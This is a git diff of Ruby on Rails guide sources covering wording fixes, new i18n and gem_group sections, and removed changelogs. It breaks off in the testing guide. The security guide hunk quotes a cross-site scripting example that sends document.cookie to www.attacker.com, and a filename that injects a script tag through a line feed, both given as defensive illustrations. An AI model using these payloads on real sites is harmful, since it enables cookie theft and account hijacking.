+h5. Set up Database Configuration + +The Active Record test suite requires a custom config file: +activerecord/test/config.yml+. An example is provided in +activerecord/test/config.example.yml+ which can be copied and used as needed for your environment. + h5. SQLite3 The gem +sqlite3-ruby+ does not belong to the "db" group indeed, if you followed the instructions above you're ready. This is how you run the Active Record test suite only for SQLite3: @@ -200,11 +204,11 @@ You can also invoke +test_jdbcmysql+, +test_jdbcsqlite3+ or +test_jdbcpostgresql h4. Older versions of Ruby on Rails -If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 2-3-stable branch: +If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch: <shell> -$ git branch --track 2-3-stable origin/2-3-stable -$ git checkout 2-3-stable +$ git branch --track 3-0-stable origin/3-0-stable +$ git checkout 3-0-stable </shell> TIP: You may want to "put your git branch name in your shell prompt":http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/ to make it easier to remember which version of the code you're working with. @@ -257,16 +261,18 @@ h3. Contributing to the Rails Documentation Ruby on Rails has two main sets of documentation: The guides help you to learn Ruby on Rails, and the API is a reference. -You can create an issue in GitHub issues to fix or expand documentation. However, if you're confident about your changes you can push them yourself directly via "docrails":https://github.com/lifo/docrails/tree/master. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. +You can help improve the Rails guides by making them more coherent, adding missing information, correcting factual errors, fixing typos, bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see "Translating Rails Guides":https://wiki.github.com/lifo/docrails/translating-rails-guides. + +If you're confident about your changes, you can push them yourself directly via "docrails":https://github.com/lifo/docrails. docrails is a branch with an *open commit policy* and public write access. Commits to docrails are still reviewed, but that happens after they are pushed. docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation. + +If you are unsure of the documentation changes, you can create an issue in the "Rails":https://github.com/rails/rails/issues issues tracker on GitHub. When working with documentation, please take into account the "API Documentation Guidelines":api_documentation_guidelines.html and the "Ruby on Rails Guides Guidelines":ruby_on_rails_guides_guidelines.html. -NOTE: As explained above, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. +NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. docrails is only used for isolated documentation improvements. WARNING: docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails. -If you have an idea for a new guide you can refer to the "contribution page":contribute.html for instructions on getting involved. - h3. Contributing to the Rails Code h4. Clone the Rails Repository @@ -284,7 +290,7 @@ $ cd rails $ git checkout -b my_new_branch </shell> -It doesn’t really matter what name you use, because this branch will only exist on your local computer. +It doesn’t really matter what name you use, because this branch will only exist on your local computer and your personal repository on Github. It won't be part of the Rails git repository. h4. Write Your Code @@ -381,13 +387,3 @@ And then...think about your next contribution! h3. Rails Contributors All contributions, either via master or docrails, get credit in "Rails Contributors":http://contributors.rubyonrails.org. - -h3. Changelog - -* May 12, 2011: Modified to prefer topic branches instead of master branch for users contributions by "Guillermo Iguaran":http://quillarb.org -* April 29, 2011: Reflect GitHub Issues and Pull Request workflow by "Dan Pickett":http://www.enlightsolutions.com -* April 14, 2011: Modified Contributing to the Rails Code section to add '[#ticket_number state:commited]' on patches commit messages by "Sebastian Martinez":http://wyeworks.com -* December 28, 2010: Complete revision by "Xavier Noria":credits.html#fxn -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* August 1, 2009: Updates/amplifications by "Mike Gunderloy":credits.html#mgunderloy -* March 2, 2009: Initial draft by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/debugging_rails_applications.textile b/railties/guides/source/debugging_rails_applications.textile index f5bee52b5a..3552c68418 100644 --- a/railties/guides/source/debugging_rails_applications.textile +++ b/railties/guides/source/debugging_rails_applications.textile @@ -712,10 +712,3 @@ h3. References * "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/ * "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging * "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops -* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy -* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index c277f5723a..821bb305f6 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -796,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index 2fa1d6e21d..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 256df0eded..33f383f173 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -41,6 +41,9 @@ internet for learning Ruby, including: * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? Rails is a web application development framework written in the Ruby language. @@ -61,9 +64,9 @@ The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. * Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to -d o it, rather than requiring you to specify every little thing through endless configuration files. +do it, rather than requiring you to specify every little thing through endless configuration files. * REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs -i s the fastest way to go. +is the fastest way to go. h4. The MVC Architecture @@ -549,9 +552,9 @@ folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| |app/helpers/posts_helper.rb |Helper functions to be used from the post views| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| -|app/assets/stylesheets/post.css.scss |Cascading style sheet for the posts controller| -|app/assets/javascripts/post.js.coffee |CoffeeScript for the posts controller| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| |test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| @@ -592,7 +595,7 @@ class CreatePosts < ActiveRecord::Migration end </ruby> -The above migration creates a method name +change+ which will be called when you +The above migration creates a method named +change+ which will be called when you run this migration. The action defined in that method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it at later date. By default, when you run this migration it @@ -821,8 +824,8 @@ this layout in your editor and modify the +body+ tag: <html> <head> <title>Blog</title> - <%= stylesheet_link_tag :all %> - <%= javascript_include_tag :defaults %> + <%= stylesheet_link_tag "application" %> + <%= javascript_include_tag "application" %> <%= csrf_meta_tags %> </head> <body style="background: #EEEEEE;"> @@ -1083,8 +1086,8 @@ def destroy @post.destroy respond_to do |format| - format.html { redirect_to(posts_url) } - format.json { render :json => {}, :status => :ok } + format.html { redirect_to posts_url } + format.json { head :ok } end end </ruby> @@ -1453,7 +1456,7 @@ comment to a local variable named the same as the partial, in this case h4. Rendering a Partial Form -Lets also move that new comment section out to it's own partial, again, you +Let's also move that new comment section out to its own partial. Again, you create a file +app/views/comments/_form.html.erb+ and in it you put: <erb> @@ -1719,8 +1722,8 @@ This example shows another option of the render helper, being able to pass in local variables, in this case, we want the local variable +form+ in the partial to refer to the +post_form+ object. -We also add a <tt>@post.tags.build</tt> at the top of this form, this is to make -sure there is a new tag ready to have it's name filled in by the user. If you do +We also add a <tt>@post.tags.build</tt> at the top of this form. This is to make +sure there is a new tag ready to have its name filled in by the user. If you do not build the new tag, then the form will not appear as there is no new Tag object ready to create. @@ -1885,24 +1888,3 @@ Two very common sources of data that are not UTF-8: is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese character, the data will be lost forever once it enters the database. If possible, use UTF-8 as the internal storage of your database. - -h3. Changelog - -* April 26, 2011: Change migration code from +up+, +down+ pair to +change+ method by "Prem Sichanugrist":http://sikachu.com -* April 11, 2011: Change scaffold_controller generator to create format block for JSON instead of XML by "Sebastian Martinez":http://www.wyeworks.com -* August 30, 2010: Minor editing after Rails 3 release by Joost Baaij -* July 12, 2010: Fixes, editing and updating of code samples by "Jaime Iniesta":http://jaimeiniesta.com -* May 16, 2010: Added a section on configuration gotchas to address common encoding problems that people might have by "Yehuda Katz":http://www.yehudakatz.com -* April 30, 2010: Fixes, editing and updating of code samples by "Rohit Arondekar":http://rohitarondekar.com -* April 25, 2010: Couple of more minor fixups by "Mikel Lindsaar":credits.html#raasdnil -* April 1, 2010: Fixed document to validate XHTML 1.0 Strict by "Jaime Iniesta":http://jaimeiniesta.com -* February 8, 2010: Full re-write for Rails 3.0-beta, added helpers and before_filters, refactored code by "Mikel Lindsaar":credits.html#raasdnil -* January 24, 2010: Re-write for Rails 3.0 by "Mikel Lindsaar":credits.html#raasdnil -* July 18, 2009: Minor cleanup in anticipation of Rails 2.3.3 by "Mike Gunderloy":credits.html#mgunderloy -* February 1, 2009: Updated for Rails 2.3 by "Mike Gunderloy":credits.html#mgunderloy -* November 3, 2008: Formatting patch from Dave Rothlisberger -* November 1, 2008: First approved version by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Revised based on feedback from Pratik Naik by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 13, 2008: First complete draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* October 12, 2008: More detail, rearrangement, editing by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 8, 2008: initial version by "James Miller":credits.html#bensie (not yet approved for publication) diff --git a/railties/guides/source/i18n.textile b/railties/guides/source/i18n.textile index 4b6b08bcec..2d4cc13571 100644 --- a/railties/guides/source/i18n.textile +++ b/railties/guides/source/i18n.textile @@ -8,15 +8,15 @@ So, in the process of _internationalizing_ your Rails application you have to: * Ensure you have support for i18n * Tell Rails where to find locale dictionaries -* Tell Rails how to set, preserve and switch locale +* Tell Rails how to set, preserve and switch locales In the process of _localizing_ your application you'll probably want to do the following three things: -* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc +* Replace or supplement Rails' default locale -- e.g. date and time formats, month names, Active Record model names, etc. * Abstract strings in your application into keyed dictionaries -- e.g. flash messages, static text in your views, etc. * Store the resulting dictionaries somewhere -This guide will walk you through the I18n API and contains a tutorial how to internationalize a Rails application from the start. +This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start. endprologue. @@ -91,7 +91,7 @@ This means, that in the +:en+ locale, the key _hello_ will map to the _Hello wor The I18n library will use *English* as a *default locale*, i.e. if you don't set a different locale, +:en+ will be used for looking up translations. -NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-UK+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cz+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-UK+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-UK+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. +NOTE: The i18n library takes a *pragmatic approach* to locale keys (after "some discussion":http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like +:en+, +:pl+, not the _region_ part, like +:en-US+ or +:en-GB+, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as +:cs+, +:th+ or +:es+ (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the +:en-US+ locale you would have $ as a currency symbol, while in +:en-GB+, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a +:en-GB+ dictionary. Various "Rails I18n plugins":http://rails-i18n.org/wiki such as "Globalize2":https://github.com/joshmh/globalize2/tree/master may help you implement it. The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. @@ -365,6 +365,19 @@ NOTE: You need to restart the server when you add new locale files. You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +h4. Passing variables to translations + +You can use variables in the translation messages and pass their values from the view. + +<ruby> +# app/views/home/index.html.erb +<%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> + +# config/locales/en.yml +en: + greet_username: "%{message}, %{user}!" +</ruby> + h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -448,6 +461,7 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations +* using safe HTML translations * localizing dates, numbers, currency, etc. h4. Looking up Translations @@ -599,6 +613,27 @@ The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The I18n.default_locale = :de </ruby> +h4. Using Safe HTML Translations + +Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. + +<ruby> +# config/locales/en.yml +en: + welcome: <b>welcome!</b> + hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index 214155c088..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 9cc4dd5f04..32b41fdd2c 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -450,11 +450,11 @@ run YourApp::Application The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> require ::File.expand_path('../config/environment', __FILE__) diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 3ccbc3a477..4c979888b7 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -91,7 +91,7 @@ </dl> </div> </li> - <li><a href="contribute.html">Contribute</a></li> + <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li> <li><a href="credits.html">Credits</a></li> </ul> </div> @@ -129,6 +129,10 @@ <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %> for style and conventions. </p> + <p> + If for whatever reason you spot something to fix but cannot patch it yourself, please + <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>. + </p> <p>And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>. </p> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index 310a70ca9b..69ef05104c 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -515,7 +515,7 @@ h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: <ruby> -redirect_to photos_path +redirect_to photos_url </ruby> You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from: @@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection: +In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content. + +<erb> +<h1>Products</h1> +<%= render(@products) || 'There are no products available.' %> +</erb> + * +index.html.erb+ <erb> @@ -1187,15 +1194,3 @@ On pages generated by +NewsController+, you want to hide the top menu and add a That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div. There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+. - -h3. Changelog - -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil -* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates -* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy -* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy -* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy -* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy -* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) -* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication) diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index 6fcc3cf4a2..7faa18e888 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -673,9 +673,3 @@ The Active Record way claims that intelligence belongs in your models, not in th Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). - -h3. Changelog - -* April 26, 2011: change generated +up+ and +down+ methods to +change+ method, and describe detail about +change+ method by "Prem Sichanugrist":http://sikachu.com -* July 15, 2010: minor typos corrected by "Jaime Iniesta":http://jaimeiniesta.com -* September 14, 2008: initial version by "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index 75f81cf13d..f3ea7e38bc 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -207,7 +207,7 @@ GC Time measures the amount of time spent in GC for the performance test case. h5. Metric Availability -h6. Benchmarking +h6(#benchmarking_1). Benchmarking |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | yes | no | yes | yes | yes | yes | @@ -215,7 +215,7 @@ h6. Benchmarking |_.Rubinius | yes | no | no | no | yes | yes | yes | yes | |_.JRuby | yes | no | no | yes | yes | yes | yes | yes | -h6. Profiling +h6(#profiling_1). Profiling |_.Interpreter|_.Wall Time|_.Process Time|_.CPU Time|_.User Time|_.Memory|_.Objects|_.GC Runs|_.GC Time| |_.MRI | yes | yes | no | no | yes | yes | yes | yes | @@ -595,9 +595,3 @@ Rails has been lucky to have a few companies dedicated to Rails-specific perform * "New Relic":http://www.newrelic.com * "Scout":http://scoutapp.com - -h3. Changelog - -* March 30, 2011: Documented the recent improvements (multiple interpreters, options, etc) and necessary adjustments. Other minor improvements. "Gonçalo Silva":http://goncalossilva.com. -* January 9, 2009: Complete rewrite by "Pratik":credits.html#lifo -* September 6, 2008: Initial version by Matthew Bergman diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index e8bdfa7f1c..5cfd336d1e 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -462,11 +462,3 @@ h4. References * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins * "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html - -h3. Changelog - -* March 10, 2011: Minor formatting tweaks. -* February 13, 2011: Get guide in synch with Rails 3.0.3. Remove information not compatible with Rails 3. Send reader elsewhere -for information that is covered elsewhere. -* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com -* November 17, 2008: Major revision by Jeff Dean diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 566f8a0bdd..3b51a52733 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -60,6 +60,18 @@ Please note that this will NOT install the gems for you and you will have to run bundle install </ruby> +h4. gem_group(*names, &block) + +Wraps gem entries inside a group. + +For example, if you want to load +rspec-rails+ only in +development+ and +test+ group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> + h4. add_source(source, options = {}) Adds the given source to the generated application's +Gemfile+. @@ -226,7 +238,3 @@ git :init git :add => "." git :commit => "-a -m 'Initial commit'" </ruby> - -h3. Changelog - -* April 29, 2009: Initial version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 818df0ffaf..57c03b54dc 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -216,7 +216,7 @@ config.middleware.clear <ruby> # config.ru -use MyOwnStackFromStratch +use MyOwnStackFromScratch run ActionController::Dispatcher.new </ruby> @@ -232,8 +232,3 @@ h4. Learning Rack h4. Understanding Middlewares * "Railscast on Rack Middlewares":http://railscasts.com/episodes/151-rack-middleware - -h3. Changelog - -* February 7, 2009: Second version by "Pratik":credits.html#lifo -* January 11, 2009: First version by "Pratik":credits.html#lifo diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 99dd9a1cd2..0a9f1e8388 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -881,12 +881,3 @@ The +assert_routing+ assertion checks the route both ways: it tests that the pat <ruby> assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" }) </ruby> - -h3. Changelog - -* April 10, 2010: Updated guide to remove outdated and superfluous information, and to provide information about new features, by "Yehuda Katz":http://www.yehudakatz.com -* April 2, 2010: Updated guide to match new Routing DSL in Rails 3, by "Rizwan Reza":http://www.rizwanreza.com/ -* February 1, 2010: Modifies the routing documentation to match new routing DSL in Rails 3, by Prem Sichanugrist -* October 4, 2008: Added additional detail on specifying verbs for resource member/collection routes, by "Mike Gunderloy":credits.html#mgunderloy -* September 23, 2008: Added section on namespaced controllers and routing, by "Mike Gunderloy":credits.html#mgunderloy -* September 10, 2008: initial version by "Mike Gunderloy":credits.html#mgunderloy diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index 5989191b5c..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines @@ -77,8 +77,3 @@ bundle exec rake validate_guides </plain> Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them. - -h3. Changelog - -* March 31, 2011: grammar tweaks by "Josiah Ivey":http://twitter.com/josiahivey -* October 5, 2010: ported from the docrails wiki and revised by "Xavier Noria":credits.html#fxn diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 04d1d0bda8..73c7a80ff6 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -582,7 +582,7 @@ Ruby uses a slightly different approach than many other languages to match the e <ruby> class File < ActiveRecord::Base - validates :name, :format => /^[\w\.\-\+]+$/ + validates :name, :format => /^[\w\.\-\<plus>]<plus>$/ end </ruby> @@ -595,7 +595,7 @@ file.txt%0A<script>alert('hello')</script> Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read: <ruby> -/\A[\w\.\-\+]+\z/ +/\A[\w\.\-\<plus>]<plus>\z/ </ruby> h4. Privilege Escalation @@ -762,7 +762,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> -<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script> </html> The log files on www.attacker.com will read like this: @@ -1002,7 +1002,3 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html - -h3. Changelog - -* November 1, 2008: First approved version by Heiko Webers diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index cc55d1f756..2341a3522c 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -931,7 +931,7 